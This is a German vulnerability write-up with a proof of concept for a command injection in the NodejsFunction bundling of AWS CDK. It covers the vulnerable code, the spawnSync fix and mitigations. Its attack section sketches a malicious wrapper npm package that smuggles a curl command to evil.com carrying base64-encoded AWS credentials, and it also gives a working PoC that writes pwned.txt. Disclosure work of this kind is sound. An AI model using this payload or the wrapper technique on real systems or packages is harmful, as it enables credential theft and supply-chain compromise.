Technischer Write-up und Proof of Concept (PoC) für CVE-2026-11417: OS-Kommandoinjektion / Remote Code Execution (RCE) in der NodejsFunction von AWS CDK.
Autor: Hesham Ashraf (@HeshamASH)
Datum: 10. Juni 2026
Schweregrad: Hoch (CVSSv3.1: 7.3, CVSSv4: 7.0)
CWE: CWE-78 — Unsachgemäße Neutralisierung von Sonderzeichen in einem OS-Befehl (OS-Befehlsinjektion)
Betroffenes Paket: aws-cdk-lib (npm), alle Versionen vor 2.245.0
Anbieter: Amazon Web Services (AWS)
Status: Behoben (PR #37292, PR #37412) | CVE: CVE-2026-11417 | Sicherheitsbulletin: AWS-2026-041 | Sicherheitshinweis: GHSA-999r-qq7v-r334
Ich habe eine Befehlsinjektions-Schwachstelle im AWS Cloud Development Kit (CDK) entdeckt, die es einem Angreifer ermöglichte, Remote Code Execution (RCE) auf jedem Rechner zu erreichen, auf dem ausgeführt wird — einschließlich Entwickler-Workstations und CI/CD-Pipelines —, indem er ein bösartiges npm-Paket veröffentlichte oder einen manipulierten Pull Request einreichte.
cdk synthDie Schwachstelle bestand darin, dass das NodejsFunction-Konstrukt von aws-cdk-lib benutzergesteuerte Zeichenfolgen ohne Bereinigung direkt in einen Shell-Befehl interpolierte und diesen dann über bash -c / cmd /c ausführte. AWS hat das Problem behoben, indem die shellbasierte Ausführung durch direkte spawnSync-Argumentarrays ersetzt wurde.
Das AWS Cloud Development Kit (CDK) ist ein weit verbreitetes Open-Source-Framework zur Definition von Cloud-Infrastruktur als Code. Es wird von Zehntausenden von Entwicklern und CI/CD-Pipelines verwendet, um AWS-CloudFormation-Stacks zu synthetisieren und bereitzustellen.
Das NodejsFunction -Konstrukt ist eines der beliebtesten CDK-L2-Konstrukte. Es bündelt TypeScript-/JavaScript-Lambda-Funktionen mit esbuild während der Synthesephase (cdk synth).
Der lokale Bündelungspfad des NodejsFunction-Konstrukts erstellte eine Shell-Befehlszeichenfolge, indem er mehrere benutzergesteuerte Eigenschaften ohne jegliche Bereinigung direkt interpolierte:
// packages/aws-cdk-lib/aws-lambda-nodejs/lib/bundling.ts (pre-patch)
const esbuildCommand: string[] = [
options.esbuildRunner,
'--bundle', `"${relativeEntryPath}"`,
`--target=${this.props.target ?? toTarget(scope, this.props.runtime)}`,
'--platform=node',
...this.externals.map(external => `--external:${external}`), // NO ESCAPING
...loaders.map(([ext, name]) => `--loader:${ext}=${name}`), // NO ESCAPING
...defines.map(([key, value]) => `--define:${key}=${JSON.stringify(value)}`), // key NOT ESCAPED
...this.props.inject ? this.props.inject.map(i => `--inject:"${i}"`) : [], // NO ESCAPING
...this.props.esbuildArgs ? [toCliArgs(this.props.esbuildArgs)] : [], // NO ESCAPING
];
Das Array wurde dann zu einer einzigen Zeichenfolge zusammengefügt und an eine Shell übergeben:
// The joined command is passed directly to the OS shell
exec(
osPlatform === 'win32' ? 'cmd' : 'bash',
[osPlatform === 'win32' ? '/c' : '-c', localCommand],
{ /* ... */ }
);
Shell-Metazeichen wie &, ;, |, `, und $(...) innerhalb einer der injizierbaren Eigenschaften würden von der Shell als Befehlsseparatoren interpretiert, was die Ausführung beliebiger Befehle ermöglicht.
| Eigenschaft | Bereinigung | Risikostufe |
|---|---|---|
externalModules | Keine | Kritisch |
define (Schlüssel) | Keine (Werte verwenden JSON.stringify) | Kritisch |
loader (Schlüssel) | Keine | Kritisch |
inject | Keine | Kritisch |
esbuildArgs (Schlüssel/Werte) | Keine | Kritisch |
Diese Schwachstelle ist besonders gefährlich, weil die Injektion in der CDK-Syntheseebene erfolgt, nicht während npm install. Das bedeutet, dass Standard-npm-Sicherheitsmaßnahmen wie --ignore-scripts keinen Schutz bieten.
Ein Angreifer veröffentlicht ein legitim aussehendes npm-Paket, das NodejsFunction umschließt:
// Published as "convenient-lambda" on npm
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
export class ConvenientLambda extends NodejsFunction {
constructor(scope, id, props) {
super(scope, id, {
...props,
bundling: {
...props.bundling,
externalModules: [
...(props.bundling?.externalModules ?? []),
// Hidden payload among legitimate-looking externals
'lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)',
],
},
});
}
}
Wenn ein Entwickler dieses Paket installiert und cdk synth ausführt, erstellt das CDK:
npx esbuild --bundle handler.ts --external:lodash & curl https://evil.com/exfil?d=$(cat ~/.aws/credentials | base64)
Das Zeichen & teilt dies in zwei unabhängige Shell-Befehle auf:
npx esbuild --bundle handler.ts --external:lodash — esbuild läuft normalcurl https://evil.com/... — die Payload des Angreifers exfiltriert AWS-Anmeldeinformationen| Verteidigung | Wirksam? | Warum |
|---|---|---|
npm install --ignore-scripts | Nein | Die Injektion erfolgt während cdk synth, nicht bei der Paketinstallation |
Code-Review von package.json | Nein | Die Payload befindet sich im TypeScript-Konstruktcode, nicht in Skripten |
| npm audit | Nein | Das Paket enthält keine bekannten Schwachstellen |
| Integrität der Lockfile | Nein | Das Paket selbst wird korrekt installiert |
mkdir poc && cd poc
npm init -y
npm install aws-cdk-lib constructs esbuild typescript
mkdir lambda
echo 'export const handler = async () => ({ statusCode: 200 });' > lambda/handler.ts
app.ts mit Injektions-Payload erstellenimport * as cdk from 'aws-cdk-lib';
import { Stack } from 'aws-cdk-lib';
import { NodejsFunction } from 'aws-cdk-lib/aws-lambda-nodejs';
import { Runtime } from 'aws-cdk-lib/aws-lambda';
import * as path from 'path';
class PoCStack extends Stack {
constructor(scope, id) {
super(scope, id);
new NodejsFunction(this, 'Fn', {
entry: path.join(__dirname, 'lambda', 'handler.ts'),
runtime: Runtime.NODEJS_20_X,
bundling: {
externalModules: ['foo & echo PWNED > pwned.txt'],
},
});
}
}
const app = new cdk.App();
new PoCStack(app, 'PoCStack');
app.synth();
npx ts-node app.ts
cat pwned.txt
# Output: PWNED
Die Datei pwned.txt wird erstellt, was die Ausführung beliebiger Befehle auf dem Host bestätigt.
spawnSyncDie zentrale Korrektur ersetzt die Erstellung von Shell-Befehlszeichenfolgen durch direktes spawnSync unter Verwendung von Argumentarrays:
- // Before: shell-interpreted command string
- exec('bash', ['-c', esbuildCommand.join(' ')]);
+ // After: direct argument array (no shell interpretation)
+ spawnSync(command, args, { /* no shell */ });
Dies eliminiert die Interpretation von Shell-Metazeichen vollständig. Das neue Typsystem BundlingStep trennt sauber:
spawn-Schritte: esbuild/tsc/install — werden über direktes spawnSync mit Argumentarrays ausgeführtshell-Schritte: vom Benutzer bereitgestellte commandHooks — absichtlich per Shell ausgeführt (der Benutzer kontrolliert diese vertraglich)fs-Schritte: Dateioperationen — keine Beteiligung der ShellUnter Windows mit Node 22+ schlägt direktes spawnSync von .cmd-Shims mit EINVAL fehl. Dieser PR leitet spawn-Schritte über powershell.exe mit powershellEscape() — einer Funktion, die jedes Argument mithilfe des nativen Escapings von PowerShell strikt in einfache Anführungszeichen setzt (interne einfache Anführungszeichen werden verdoppelt) und dann den Aufrufoperator & voranstellt.
Shell-Ausführung ist ein Code-Smell. Jeder Codepfad, der eine Zeichenfolge erstellt und an bash -c oder cmd /c übergibt, ist eine potenzielle Befehlsinjektions-Schwachstelle. Bevorzugen Sie immer arraybasiertes spawnSync oder execFile.
Supply-Chain-Angriffe umgehen Installationszeit-Verteidigungen. npm audit und --ignore-scripts schützen vor bösartigen postinstall-Skripten, aber sie können nicht vor Schwachstellen in den Tools schützen, die Abhängigkeiten zur Build-Zeit verarbeiten.
CDK-Konstrukte sind vertrauenswürdiger Code. Wenn ein Entwickler ein Drittanbieter-CDK-Konstrukt importiert, vertraut er implizit darauf, dass es seine Infrastruktur korrekt konfiguriert. Ein bösartiges Konstrukt kann dieses Vertrauen ausnutzen, um Payloads in Bündelungseigenschaften einzuschleusen, die wie gewöhnliche Konfiguration aussehen.
Sofort aktualisieren auf aws-cdk-lib Version 2.245.0 oder höher
Drittanbieter-CDK-Konstrukte prüfen auf ungewöhnliche Werte der bundling-Eigenschaft
CDK-Konstruktversionen in Ihrer package-lock.json festschreiben
PRs, die die bundling-Konfiguration ändern, mit besonderer Sorgfalt prüfen
Die Schwachstelle reproduzieren mithilfe der Dateien im Ordner poc/.
Entdeckt und gemeldet von Hesham Ashraf (@HeshamASH). Koordinierte Offenlegung durchgeführt über das AWS-VDP-Programm.